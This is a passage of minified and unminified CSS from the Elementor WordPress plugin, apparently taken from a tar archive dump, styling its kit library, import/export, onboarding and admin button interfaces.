var(--eps-text-field-color);background-color:var(--eps-text-field-background-color);border:0;margin-block-end:5px;outline:none;font-family:Roboto,Arial,Helvetica,Verdana,sans-serif;font-size:.875rem;font-weight:400;line-height:1.5}.eps-text-field--outlined{border-radius:.1875rem;border:1px solid var(--eps-text-field-outlined-border-color);padding:.625rem}.eps-text-field--outlined:focus{border-color:var(--eps-text-field-outlined-focus-border-color)}.eps-text-field::-moz-placeholder{color:var(--eps-text-field-placeholder-color);font-family:Roboto,Arial,Helvetica,Verdana,sans-serif;font-size:.875rem;font-weight:400;line-height:1.5}.eps-text-field::placeholder{color:var(--eps-text-field-placeholder-color);font-family:Roboto,Arial,Helvetica,Verdana,sans-serif;font-size:.875rem;font-weight:400;line-height:1.5}.eps-theme-dark .eps-text-field{--eps-text-field-color:#babfc5;--eps-text-field-background-color:transparent;--eps-text-field-placeholder-color:#9da5ae;--eps-text-field-outlined-border-color:#3f444b;--eps-text-field-outlined-focus-border-color:#9da5ae}.eps-theme-dark--outlined{border-color:var(--eps-text-field-outlined-border-color)}.eps-theme-dark--outlined:focus{border-color:var(--eps-text-field-outlined-focus-border-color)}.e-app-import-export-content-layout{display:flex;justify-content:center;height:100%}.e-app-import-export-content-layout__container{flex-basis:1075px}.e-app-export-complete__kit-content-title{margin:2.75rem 0 .625rem}.e-app-export-kit-content{--e-app-export-kit-content-title-color:#3f444b;--e-app-export-kit-content-description-color:#515962;--e-app-export-kit-content-sm-notice-color:#babfc5}.e-app-export-kit-content__checkbox{flex-shrink:0;margin-inline-end:.75rem}.e-app-export-kit-content__title{color:var(--e-app-export-kit-content-title-color)}.e-app-export-kit-content__description{color:var(--e-app-export-kit-content-description-color);margin-inline-end:1.25rem}.e-app-export-kit-content__notice{margin-block-start:1rem}.e-app-export-kit-content__small-notice{font-style:italic;color:var(--e-app-export-kit-content-sm-notice-color)}.eps-theme-dark .e-app-export-kit-content{--e-app-export-kit-content-title-color:#d5d8dc;--e-app-export-kit-content-description-color:#babfc5;--e-app-export-kit-content-sm-notice-color:#818a96}.e-app-import-export-kit-data{--e-app-import-export-kit-data-site-area-color:#3f444b;--e-app-import-export-kit-data-included-color:#69727d}.e-app-import-export-kit-data__included,.e-app-import-export-kit-data__site-area{margin-block-end:0}.e-app-import-export-kit-data__site-area{color:var(--e-app-import-export-kit-data-site-area-color);font-weight:700}.e-app-import-export-kit-data__included{color:var(--e-app-import-export-kit-data-included-color)}.eps-theme-dark .e-app-import-export-kit-data{--e-app-import-export-kit-data-site-area-color:#babfc5;--e-app-import-export-kit-data-included-color:#9da5ae}.e-app-import-resolver{--e-app-import-resolver-panel-header-background-color:#fff;--e-app-import-resolver-panel-body-background-color:hsla(0,0%,100%,0.5);--e-app-import-resolver-conflicts-asset-border-color:#818a96;--e-app-import-resolver-conflicts-asset-inactive-color:#69727d;padding-block-end:1.25rem}.e-app-import-resolver__notice{margin-block-end:1.25rem}.e-app-import-resolver__panel,.e-app-import-resolver__panel:hover{background-color:initial}.e-app-import-resolver__panel-header{background-color:var(--e-app-import-resolver-panel-header-background-color)}.e-app-import-resolver__panel-body{background-color:var(--e-app-import-resolver-panel-body-background-color)}.e-app-import-resolver-conflicts__container{box-shadow:0 2px 3px 1px var(--color-box-shadow-color)}.e-app-import-resolver-conflicts__checkbox{flex-shrink:0;margin-inline-end:.75rem}.e-app-import-resolver-conflicts__title{line-height:1}.e-app-import-resolver-conflicts__asset:not(:first-child){border-inline-start:2px solid var(--e-app-import-resolver-conflicts-asset-border-color);padding-inline-start:1rem;margin-inline-start:1rem}.e-app-import-resolver-conflicts__asset:not(.active){color:var(--e-app-import-resolver-conflicts-asset-inactive-color)}.e-app-import-resolver-conflicts__edit-template{margin-inline-start:.3125rem}.eps-theme-dark .e-app-import-resolver{--e-app-import-resolver-panel-header-background-color:#69727d;--e-app-import-resolver-panel-body-background-color:rgba(0,0,0,0.05);--e-app-import-resolver-conflicts-asset-border-color:#818a96;--e-app-import-resolver-conflicts-asset-inactive-color:#9da5ae}.eps-panel{--eps-panel-header-background-color:transparent;--eps-panel-body-background-color:transparent}.eps-panel,.eps-panel:hover{background-color:initial}.eps-panel__header{background-color:var(--eps-panel-header-background-color);border-radius:.1875rem}.eps-panel__body{background-color:var(--eps-panel-body-background-color);border-radius:0 0 .1875rem .1875rem}.eps-theme-dark .eps-panel{--eps-panel-header-background-color:transparent;--eps-panel-body-background-color:transparent}.e-app-export-kit{padding-block-end:1.25rem}.e-app-export-kit-information{margin-block-start:1.25rem}.e-app-export-kit-information__field-header{margin-block-end:.625rem}.e-app-export-kit-information__label{margin:0}.e-app-export-kit-information__info-icon{margin-inline-start:.625rem}.e-app-export-kit-info-modal__icon{padding-inline-start:.625rem}.e-app-export-kit-info-modal__heading{margin-block-end:1.25rem}.e-app-import-export-info-modal__section:not(:first-child){margin-block-start:1.875rem}.e-app-import-export-info-modal__heading{margin-block-end:1.25rem}:root{--eps-badge-background-color:#fff}.eps-theme-dark{--eps-badge-background-color:#515962}.eps-badge{display:inline-block;background:var(--eps-badge-background-color);padding:0 .5rem;line-height:1.8;box-shadow:0 3px 6px var(--color-box-shadow-color);border-radius:4px;font-size:.75rem}.eps-badge--sm{font-size:.625rem;border-radius:3px;padding:0 .3125rem;line-height:1.5}.eps-collapse__title{cursor:pointer;padding:.3125rem 0;display:flex;align-items:center;justify-content:space-between;width:100%;background:transparent;border:none;color:inherit}.eps-collapse__title:focus{outline:none}.eps-collapse__icon{transition:all .15s;transform:rotate(0deg)}.eps-collapse__content{margin-block-start:.625rem;display:none}.eps-collapse[data-open] .eps-collapse__content{display:block}.eps-collapse[data-open] .eps-collapse__icon{transform:rotate(90deg)}.e-kit-library-promotion{--e-kit-library-promotion-color:tints(600)}.eps-theme-dark .e-kit-library-promotion{--e-kit-library-promotion-color:dark-tints(400)}.e-kit-library-promotion{width:100%;text-align:center;margin-block-start:1.875rem;color:var(--e-kit-library-promotion-color)}.e-kit-library__error-screen{margin-block-start:2.75rem}.e-kit-library__error-screen-title{margin-block-start:2.75rem;margin-block-end:0}.e-kit-library__error-screen-description{margin-block-start:1.5rem;color:#69727d;text-align:center;max-width:520px}.e-kit-library__kit-favorite-actions{padding:.3125rem;transition:all .3s;border-radius:4px}.e-kit-library__kit-favorite-actions--active{color:#dc2626}.e-kit-library__kit-favorite-actions--loading{opacity:1%;cursor:default}.e-kit-library__kit-favorite-actions:hover{background-color:rgba(220,38,38,.1)}.e-kit-library__filter-indication{margin-block-start:1.5rem;display:flex;align-items:center}.e-kit-library__filter-indication-text{margin-block-end:0;display:flex;align-items:center}.e-kit-library__filter-indication-badge{margin-inline-start:.3125rem;display:flex;align-items:center}.e-kit-library__filter-indication-badge-remove{margin-inline-start:.3125rem;font-size:.875rem}.e-kit-library__filter-indication-button{margin-inline-start:1.5rem}#eps-app-header-btn-apply,#eps-app-header-btn-connect,#eps-app-header-btn-promotion{margin-inline-start:.625rem;margin-inline-end:.625rem}.e-kit-library__apply-button{display:flex;align-items:center;justify-content:center;gap:.3125rem}.e-kit-library__kit-item{--e-kit-library-kit-item-overlay-promotion-button-background-color:#d5d8dc}.eps-theme-dark .e-kit-library__kit-item{--e-kit-library-kit-item-overlay-promotion-button-background-color:#515962}.e-kit-library__kit-item-overlay{height:100%}.e-kit-library__kit-item-overlay>:first-child{flex:1}.e-kit-library__kit-item-overlay-overview-button{display:flex;flex-direction:column;align-items:center;justify-content:center;color:#fff;height:100%;width:100%}.e-kit-library__kit-item-overlay-overview-button>i{font-size:2rem;margin-block-end:5px}.e-kit-library__kit-item-overlay-overview-button>span{font-size:.9rem}.e-kit-library__kit-item-overlay-promotion-button{display:flex;width:100%;background:#fff;align-items:center;justify-content:center;padding:10px;font-size:13px;color:#93003f;background:var(--e-kit-library-kit-item-overlay-promotion-button-background-color)}.e-kit-library__kit-item-overlay-promotion-button>*{margin:0 3px}.e-kit-library__kit-item-subscription-plan-badge{position:absolute;top:0;right:0;margin:.3125rem;background-color:var(--e-a-color-brand);color:#fff;text-transform:uppercase}:root{--e-kit-library-header-back-border:1px solid var(--e-a-border-color);--e-kit-library-header-back-color:#69727d}.eps-theme-dark{--e-kit-library-header-back-border:1px solid #818a96;--e-kit-library-header-back-color:#babfc5}.e-kit-library__header-back{color:var(--e-kit-library-header-back-color);padding-inline-end:1.25rem;padding-inline-start:.3125rem;display:inline-flex;justify-content:center;align-items:center;height:100%;border-inline-end:var(--e-kit-library-header-back-border)}.e-kit-library__header-back-container{flex:1;height:100%}.e-kit-library__header-back .eps-icon{transform:rotate(0deg)}.e-kit-library__page-loader{width:100%;height:100%;display:grid;place-items:center;font-size:1.85rem;color:#69727d}.eps-search-input{--eps-search-input-background-color:#d5d8dc;--eps-search-input-background-color-focus:#fff;--eps-search-input-color:#3f444b;--eps-search-input-placeholder-color:#69727d}.eps-theme-dark .eps-search-input{--eps-search-input-background-color:#515962;--eps-search-input-background-color-focus:#69727d;--eps-search-input-color:#babfc5;--eps-search-input-placeholder-color:#babfc5}.eps-search-input{width:100%;font-size:.9375rem;padding:.625rem 2.75rem;border:none;background:var(--eps-search-input-background-color);outline:none;color:var(--eps-search-input-color);line-height:1;height:2.75rem}.eps-search-input--sm{font-size:.8125rem;padding:.5rem 1.875rem}.eps-search-input:focus{background:var(--eps-search-input-background-color-focus)}.eps-search-input::-moz-placeholder{color:var(--eps-search-input-placeholder-color);font-style:italic}.eps-search-input::placeholder{color:var(--eps-search-input-placeholder-color);font-style:italic}.eps-search-input__container{position:relative}.eps-search-input__icon{font-size:1.25rem;padding:.625rem;color:#69727d;position:absolute;top:0;left:0;height:100%;display:flex;align-items:center;justify-content:center}.eps-search-input__icon--sm{font-size:.75rem}.eps-search-input__clear-icon{font-size:.875rem;padding:.625rem;color:#69727d;position:absolute;top:0;right:0;height:100%;display:flex;align-items:center;justify-content:center}.eps-search-input__clear-icon--sm{font-size:.6875rem}:root{--eps-sort-select-select-background-color:#d5d8dc;--eps-sort-select-select-color:#3f444b;--eps-sort-select-button-background-color:#d5d8dc;--eps-sort-select-button-border:1px solid var(--e-a-border-color)}.eps-theme-dark{--eps-sort-select-select-background-color:#515962;--eps-sort-select-select-color:#babfc5;--eps-sort-select-button-background-color:#515962;--eps-sort-select-button-border:1px solid #1f2124}.eps-sort-select{width:100%;font-size:.9375rem;display:flex}.eps-sort-select__select-wrapper{flex:1;position:relative}.eps-sort-select__select-wrapper:after{content:"\e8ad";font-family:eicons;position:absolute;right:.625rem;top:0;bottom:0;color:#69727d;display:flex;align-items:center;justify-content:center;pointer-events:none}.eps-sort-select__select{width:100%;padding:.625rem;border:none;background:var(--eps-sort-select-select-background-color);outline:none;color:var(--eps-sort-select-select-color);line-height:1;cursor:pointer;height:2.75rem;-moz-appearance:none;appearance:none;-webkit-appearance:none;border-radius:0}.eps-sort-select__button{padding:.75rem;background:var(--eps-sort-select-button-background-color);border-inline-start:var(--eps-sort-select-button-border);line-height:1;color:#69727d}.e-kit-library__tags-filter{--e-kit-library-tags-filter-list-search-background-color:#fff}.eps-theme-dark .e-kit-library__tags-filter{--e-kit-library-tags-filter-list-search-background-color:#515962}.e-kit-library__tags-filter{margin-block-start:2.75rem}.e-kit-library__tags-filter-list{margin-block-end:2.75rem}.e-kit-library__tags-filter-list .eps-collapse__title{padding-inline-end:1.875rem;padding-inline-start:1.875rem;text-transform:uppercase}.e-kit-library__tags-filter-list .eps-collapse__content{margin:.3125rem 1.875rem}.e-kit-library__tags-filter-list-container{max-height:250px;overflow:auto}.e-kit-library__tags-filter-list-search{margin-block-end:.625rem}.e-kit-library__tags-filter-list-search .eps-search-input{background:var(--e-kit-library-tags-filter-list-search-background-color)}.e-kit-library__tags-filter-list-item{padding:.625rem 0;display:flex;align-items:center;font-weight:500}.e-kit-library__tags-filter-list-item input{margin-inline-end:.3125rem}.e-kit-library #eps-app-header-btn-refetch{padding:0}.e-kit-library-header-info-modal-container{margin-block-end:2.75rem}.e-kit-library__tooltip{padding:5px 12px;color:#fff;background-color:#26292c;font-size:10px}.e-kit-library__tooltip:before{border-block-end-color:#26292c}.e-kit-library__index-layout-container{flex-grow:1;overflow-y:auto;display:flex;flex-direction:column}.e-kit-library__index-layout-heading{padding:1.875rem 2.75rem;position:sticky;top:-1px;width:100%;z-index:2;background-color:var(--app-background-color);gap:1.5rem}.e-kit-library__index-layout-heading-search,.e-kit-library__index-layout-heading-sort{min-width:265px}.e-kit-library__index-layout-heading-search{flex:1}.e-kit-library__index-layout-main{padding-block-start:0;padding-block-end:1.5rem;overflow-y:hidden;height:auto;flex:1 0 auto;display:flex;flex-direction:column;justify-content:space-between}.e-kit-library__tags-filter{--e-kit-library-item-sidebar-header-title-color:#515962;--e-kit-library-item-sidebar-description-color:#515962;--e-kit-library-item-information-text-color:#515962}.eps-theme-dark .e-kit-library__tags-filter{--e-kit-library-item-sidebar-header-title-color:#babfc5;--e-kit-library-item-sidebar-description-color:#babfc5;--e-kit-library-item-information-text-color:#babfc5}.e-kit-library__item-sidebar{padding:1.5rem 1.875rem}.e-kit-library__item-sidebar-header{display:flex;align-items:center;justify-content:space-between}.e-kit-library__item-sidebar-header-title{color:var(--e-kit-library-item-sidebar-header-title-color);margin-block-end:0}.e-kit-library__item-sidebar-thumbnail{margin-block-start:1.5rem;box-shadow:0 4px 10px var(--color-box-shadow-color)}.e-kit-library__item-sidebar-description{margin-block-start:1.5rem;color:var(--e-kit-library-item-sidebar-description-color)}.e-kit-library__item-sidebar-collapse-tags{margin-block-start:2.75rem}.e-kit-library__item-sidebar-collapse-info{margin-block-start:1.875rem}.e-kit-library__item-sidebar-tags-container{gap:.625rem}.e-kit-library__item-information-text{font-size:.8125rem;color:var(--e-kit-library-item-information-text-color);margin-block-end:.3125rem}.e-kit-library{--e-kit-library-content-overview-group-title-color:#515962}.eps-theme-dark .e-kit-library{--e-kit-library-content-overview-group-title-color:#babfc5}.e-kit-library__content-overview-group-item{margin-block-end:2.75rem}.e-kit-library__content-overview-group-title{margin-block-end:1.875rem;color:var(--e-kit-library-content-overview-group-title-color)}.e-kit-library__preview-responsive-controls{width:auto}.e-kit-library__preview-responsive-controls-item{margin:0 .3125rem;color:#69727d;padding:.3125rem}.e-kit-library__preview-responsive-controls-item:hover{background:rgba(37,99,235,.1);border-radius:3px;transition:all .3s}.e-kit-library__preview-responsive-controls-item--active{color:#2563eb}.e-kit-library__preview-loader{position:absolute;top:0;left:0;z-index:0}.e-kit-library__preview-iframe{border:none;transition:all .3s;box-shadow:0 4px 10px var(--color-box-shadow-color)}.e-kit-library__preview-iframe-container{overflow-y:auto;position:relative;z-index:1}.e-app-collapse{--e-app-collapse-icon-color:#515962}.e-app-collapse-toggle{position:relative}.e-app-collapse-toggle--active{cursor:pointer}.e-app-collapse-toggle__icon{color:var(--e-app-collapse-icon-color);display:flex;align-items:center;justify-content:center;font-size:.875rem;position:absolute;top:50%;right:var(--e-app-collapse-toggle-icon-spacing);transform:translateY(-50%)}.e-app-collapse-toggle__icon:before{transition:all .2s linear}.e-app-collapse-content{display:none}.e-app-collapse--opened .e-app-collapse-toggle__icon:before{transform:rotate(-180deg)}.e-app-collapse--opened .e-app-collapse-content{display:block}[dir=rtl] .e-app-collapse-toggle__icon{right:auto;left:var(--e-app-collapse-toggle-icon-spacing)}.eps-theme-dark .e-app-collapse{--e-app-collapse-icon-color:#babfc5}.e-app-import-plugins{--e-app-import-plugins-selection-section-heading-color:#515962;padding-block-end:1.5rem}.e-app-import-plugins__section{margin-block-start:1.875rem}.e-app-import-plugins__section-heading{color:var(--e-app-import-plugins-selection-section-heading-color);margin-block-end:1rem}.e-app-import-plugins__versions-notice{margin-block-end:.75rem}.eps-theme-dark .e-app-import-plugins{--e-app-import-plugins-selection-section-heading-color:#babfc5}.eps-table{--eps-table-body-color:#3f444b;border-spacing:0 2px;table-layout:fixed;width:100%;border:1px solid var(--e-a-border-color);border-radius:.1875rem}.eps-table__checkboxes-column{width:1.875rem}.eps-table__checkbox{display:flex;flex-shrink:0}.eps-table__cell{padding:1rem}.eps-table__head .eps-table__cell{text-align:start}.eps-table__row{border-block-end:1px solid var(--e-a-border-color)}.eps-table__row:last-child{border-block-end:none}.eps-table__body .eps-table__cell:first-child{border-radius:.1875rem 0 0 .1875rem}.eps-table__body .eps-table__cell:last-child{border-radius:0 .1875rem .1875rem 0}.eps-table--selection .eps-table__cell:first-child{padding-inline-end:0}.eps-theme-dark .eps-table{--eps-table-body-color:#babfc5}[dir=rtl] .eps-table__body [dir=rtl] .eps-table__cell:first-child{border-radius:0 .1875rem .1875rem 0}[dir=rtl] .eps-table__body [dir=rtl] .eps-table__cell:last-child{border-radius:.1875rem 0 0 .1875rem}.e-app-import-plugins-pro-banner{--e-app-import-plugins-pro-banner-heading-color:#3f444b;--e-app-import-plugins-pro-banner-description-color:#515962;margin-block-end:1.875rem}.e-app-import-plugins-pro-banner__heading{color:var(--e-app-import-plugins-pro-banner-heading-color);margin-block-end:.625rem}.e-app-import-plugins-pro-banner__description{color:var(--e-app-import-plugins-pro-banner-description-color);margin-block-end:0}.eps-theme-dark .e-app-import-plugins-pro-banner{--e-app-import-plugins-pro-banner-heading-color:#9da5ae;--e-app-import-plugins-pro-banner-description-color:#babfc5}.e-app-export-plugins,.e-app-import-content{padding-block-end:1.25rem}.e-app-import-content__plugins-notice{margin-block-end:1.25rem}.e-app-import-plugins-activation__installing-plugins{padding:.625rem 0}.e-app-import-plugins-activation__plugin-name{margin-inline-start:.5rem}.e-app-import-plugins-activation__plugin-status-item{margin-block-end:.75rem}.e-app-import-export-plugins-table__cell-content{margin-block-end:0;text-transform:capitalize}.e-app-import-export-loader{--e-app-import-export-loader-color:#818a96;color:var(--e-app-import-export-loader-color);font-size:50px}.e-app-import-export-loader.eicon-loading{font-size:1.85rem}.e-app-import-export-loader--absolute-center{position:absolute;top:50%;left:50%;transform:translateX(-50%) translateY(-50%)}.eps-theme-dark .e-app-import-export-loader{--e-app-import-export-loader-color:#818a96}.e-app-import-export-message-banner{--e-app-import-export-message-banner-heading-color:#3f444b;--e-app-import-export-message-banner-description-color:#515962;margin-block-end:1.875rem}.e-app-import-export-message-banner__heading{color:var(--e-app-import-export-message-banner-heading-color);margin-block-end:.625rem}.e-app-import-export-message-banner__description{color:var(--e-app-import-export-message-banner-description-color);margin-block-end:0}.eps-theme-dark .e-app-import-export-message-banner{--e-app-import-export-message-banner-heading-color:#9da5ae;--e-app-import-export-message-banner-description-color:#babfc5}.e-app-import-connect-pro-notice,.e-app-import-failed-plugins-notice{margin-block-end:1.25rem}.e-onboarding{font-family:DM Sans,Roboto,sans-serif;color-scheme:light}.e-onboarding .eps-app__main{justify-content:center;overflow-y:auto}.e-onboarding__content{max-width:1135px;padding:2.75rem;margin:initial;overflow-y:initial}.e-onboarding__checkbox-label{display:flex;line-height:18px;margin-block-end:27px}.e-onboarding__checkbox-input{margin-inline-end:14px;width:16px;height:16px;border-color:#69727d;border-radius:2px}.e-onboarding__checkbox-input:checked{background-color:#525861}.e-onboarding__checkbox-input:checked:after{margin-block-end:15%;width:6px;height:9px;border-width:0 2px 2px 0}.e-onboarding__feature-list{margin-block-end:40px}.e-onboarding__text-input{font-size:14px;width:325px;padding:12px 16px;color:#69727d;border:1px solid #9ea5ad}.e-onboarding__text-input:focus-visible{outline:initial;border:1px solid #3a3f45}.e-onboarding__text-input::-moz-placeholder{color:#c2c7cc}.e-onboarding__text-input::placeholder{color:#c2c7cc}.e-onboarding__footnote{margin-block-start:24px;width:325px;text-align:center}.e-onboarding__footnote a{text-decoration:underline;color:#3a3f45}#e-app~#__wp-uploader-id-2 .media-modal{max-width:1024px;max-height:768px;margin:auto}.e-onboarding__page-content{margin-block-end:70px}.e-onboarding__page-content-start{max-width:675px;text-align:start;flex-basis:555px;align-self:start}.e-onboarding__page-content-end{min-width:440px;max-width:540px}.e-onboarding__page-content-end img{width:100%}.e-onboarding__page-content-section-title{font-family:"DM Serif Display",serif;font-size:36px;font-weight:700;color:#0c0d0e}.e-onboarding__page-content-section-text{font-size:18px;color:#3a3f45}.e-onboarding__header-logo .eps-app__logo{background-color:#0c0d0e;color:#fff;width:1.3rem;height:1.3rem;line-height:1.3rem;font-size:.48rem}.e-onboarding__header-logo .eps-app__logo:not(:last-child){margin-inline-end:7px}.e-onboarding__header-logo img{width:104px}.e-onboarding__header .eps-app__header-btn{display:flex;align-items:center;font-size:13px}.e-onboarding__header .eps-app__header-btn .eps-icon:not(:last-child){margin-inline-end:7px}.e-onboarding__header .eps-button{color:#0c0d0e}.e-onboarding__header .eps-button__go-pro-btn{background-color:#93003f;color:#fff;padding:4px 8px;border-radius:4px;font-weight:700;font-size:12px;transition:.5s}.e-onboarding__header .eps-button__go-pro-btn:hover{background:#c60055}.e-onboarding__go-pro{width:288px;font-size:12px;background-color:#fff}.e-onboarding__go-pro-title{font-size:18px;font-weight:700;color:#93003f}.e-onboarding__go-pro-cta{display:inline-block;color:#93003f;padding:9px;border:1px solid #93003f}.e-onboarding__go-pro-cta.e-onboarding__button{font-size:14px}.e-onboarding__go-pro-paragraph:not(:last-child){margin-block-end:20px}.e-onboarding__go-pro-already-have{text-decoration:underline}.e-onboarding__progress-bar{display:flex;justify-content:center;margin-block-end:125px}.e-onboarding__progress-bar-item{display:flex;align-items:center;color:#69727d;font-size:.75rem}.e-onboarding__progress-bar-item-icon{display:inline-block;font-family:"DM Serif Display",serif;text-align:center;width:1.1rem;height:1.1rem;line-height:1rem;font-size:.75rem;font-weight:700;border-radius:50%;border:1px solid #69727d;margin-inline-end:8px;flex-shrink:0}.e-onboarding__progress-bar-item:not(:last-child){margin-inline-end:22px}.e-onboarding__progress-bar-item:not(:last-child):after{font-family:eicons;margin-inline-start:22px;content:"\e89e"}.e-onboarding__progress-bar-item--active{color:#d004d4}.e-onboarding__progress-bar-item--active .e-onboarding__progress-bar-item-icon,.e-onboarding__progress-bar-item--completed .e-onboarding__progress-bar-item-icon{color:#fff;border-color:#d004d4;background-color:#d004d4}.e-onboarding__progress-bar-item--completed,.e-onboarding__progress-bar-item--skipped{cursor:pointer}.e-onboarding__progress-bar-item--skipped .e-onboarding__progress-bar-item-icon{color:#fff;background-color:#69727d}.e-onboarding__button{font-size:18px;cursor:pointer;transition:var(--e-a-transition-hover)}.e-onboarding__button-action{color:var(--e-a-btn-color);background-color:var(--e-a-btn-bg-primary);min-width:325px;padding:15px 30px;text-align:center}.e-onboarding__button-action:hover{background-color:var(--e-a-btn-bg-primary-hover)}.e-onboarding__button-skip{padding:8px 16px;color:#515962}.e-onboarding__button-skip:hover{background-color:#f9fafa}.e-onboarding__button--disabled{pointer-events:none;background-color:#d5d8dc;color:#9ea5ad}.e-onboarding__button--disabled:hover{cursor:progress}.e-onboarding__button--processing{pointer-events:none;filter:brightness(90%)}.e-onboarding__card{border:1px solid #3a3f45;border-radius:8px;padding:40px;cursor:pointer;flex-grow:1;display:flex;flex-direction:column;align-items:center}.e-onboarding__card-image,.e-onboarding__card-text{width:345px}.e-onboarding__card-image{margin-block-end:44px}.e-onboarding__card-text{font-size:20px;font-weight:700;text-align:center;color:#0c0d0e}.e-onboarding__card:hover{box-shadow:4px 4px 0 0 #000}.e-onboarding__card:active{box-shadow:none}.e-onboarding__checklist{padding-inline-start:0}.e-onboarding__checklist-item{display:flex;align-items:center;font-size:12px;margin-block-end:12px}.e-onboarding__checklist-item .eicon-check-circle{margin-inline-end:9px;font-size:16px;font-weight:600}.e-onboarding__notice{display:inline-block;padding:12px 14px;margin-block-end:16px;color:#3a3f45}.e-onboarding__notice--error{background-color:#fde8ec}.e-onboarding__notice--error i{font-size:16px;color:#b92136}.e-onboarding__notice--success{background-color:#ecf9f2}.e-onboarding__notice--success i{color:#117740}.e-onboarding__notice i{margin-inline-end:14px}.e-onboarding__notice-empty-spacer{height:61px}.e-onboarding__page-account .e-onboarding__checkbox-label{margin-block-start:50px}.e-onboarding__action-button-text{margin-inline-start:10px}.e-onboarding__site-name-input{margin-block-start:80px}.e-onboarding__page-siteLogo .e-app-upload-file__button{color:var(--e-a-color-primary-bold);border-color:var(--e-a-color-primary-bold)}.e-onboarding__page-siteLogo .e-app-upload-file__button:hover{background-color:#fae8ff}.e-onboarding__drop-zone{margin-block-start:3rem}.e-onboarding .eps-display-3{font-size:16px;margin-block-end:.5rem}.e-onboarding .e-app-upload-file__button{max-width:198px;margin:0 auto}.e-onboarding .e-app-drop-zone__secondary-text{font-size:14px}.e-onboarding__logo-container{position:relative;margin-block-start:3rem;min-height:120px;width:-moz-fit-content;width:fit-content;display:flex;align-items:center;justify-content:center;min-width:220px;border:1px solid #babfc5}.e-onboarding__logo-container img{height:auto;max-height:100%;width:auto}.e-onboarding__logo-remove{position:absolute;right:0;top:5px}.e-onboarding__logo-remove i{font-size:16px;width:15px}.e-onboarding__logo-remove:hover{cursor:pointer}.e-onboarding__is-uploading{visibility:hidden}.e-onboarding__page-goodToGo .e-onboarding__page-content-section-text,.e-onboarding__page-goodToGo .e-onboarding__page-content-section-title{text-align:center}.e-onboarding__cards-grid.e-onboarding__page-content{margin-block-start:48px;margin-block-end:48px}.e-onboarding__cards-grid .e-onboarding__card{max-width:555px}.e-onboarding__cards-grid .e-onboarding__card:not(:last-child){margin-inline-end:20px}.e-onboarding__good-to-go-footer{justify-content:end}.e-onboarding__upload-pro{flex-direction:row;justify-content:center;font-family:DM Sans,Roboto,sans-serif;text-align:center}.e-onboarding__upload-pro .eps-app__content{overflow-y:hidden;max-width:1113px;padding:30px}.e-onboarding__upload-pro-drop-zone{margin-block-end:24px}.e-onboarding__upload-pro-drop-zone h1{font-family:"Source Serif Pro",Roboto,sans-serif}.e-onboarding__upload-pro-drop-zone .e-app-drag-drop{padding:48px}.e-onboarding__upload-pro-drop-zone .e-app-drop-zone__secondary-text,.e-onboarding__upload-pro-drop-zone .e-app-drop-zone__text,.e-onboarding__upload-pro-drop-zone .eps-display-3{margin-block-end:12px}.e-onboarding__upload-pro-drop-zone .e-app-upload-file__button{background-color:#040080;color:#46f2b6;padding:14px 40px;border-color:#040080}.e-onboarding__upload-pro-get-file{font-size:12px;margin-block-start:24px}.e-onboarding__upload-pro-get-file a{text-decoration:underline}.e-onboarding__upload-pro .e-onboarding__notice{margin-block-end:0}.e-onboarding__choose-features-section{width:100%;display:flex;flex-wrap:wrap;gap:10px 20px;margin-block:20px}.e-onboarding__choose-features-section__label{display:flex;align-items:center;font-size:14px;font-weight:400;line-height:24px;letter-spacing:-.01em;-webkit-user-select:none;-moz-user-select:none;user-select:none;border:1px solid #d5d8dc;padding:12px 16px;width:267px}.e-onboarding__choose-features-section__checkbox{justify-self:end;margin-inline-end:8px;width:16px;height:16px}.e-onboarding__choose-features-section__message{font-size:18px;font-weight:400;line-height:27px;letter-spacing:-.01em;padding-inline-end:120px;min-height:55px;margin-block-end:20px}.e-onboarding__page-chooseFeatures .e-onboarding__page-content{margin-bottom:0}assets/css/admin-rtl.css000064400000455267147206604650011274 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-button, .e-btn, #elementor-deactivate-feedback-modal .dialog-skip, #elementor-deactivate-feedback-modal .dialog-submit { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .elementor-button:hover, .e-btn:hover, #elementor-deactivate-feedback-modal .dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-submit:hover { border: none; } .elementor-button:hover, .elementor-button:focus, .e-btn:hover, #elementor-deactivate-feedback-modal .dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-submit:hover, .e-btn:focus, #elementor-deactivate-feedback-modal .dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-submit:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .elementor-button:active, .e-btn:active, #elementor-deactivate-feedback-modal .dialog-skip:active, #elementor-deactivate-feedback-modal .dialog-submit:active { background-color: var(--e-a-btn-bg-active); } .elementor-button:not([disabled]), .e-btn:not([disabled]), #elementor-deactivate-feedback-modal .dialog-skip:not([disabled]), #elementor-deactivate-feedback-modal .dialog-submit:not([disabled]) { cursor: pointer; } .elementor-button:disabled, .e-btn:disabled, #elementor-deactivate-feedback-modal .dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-submit:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .elementor-button:not(.elementor-button-state) .elementor-state-icon, .e-btn:not(.elementor-button-state) .elementor-state-icon, #elementor-deactivate-feedback-modal .dialog-skip:not(.elementor-button-state) .elementor-state-icon, #elementor-deactivate-feedback-modal .dialog-submit:not(.elementor-button-state) .elementor-state-icon { display: none; } .elementor-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel, .e-btn.e-btn-txt, #elementor-deactivate-feedback-modal .dialog-skip, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert 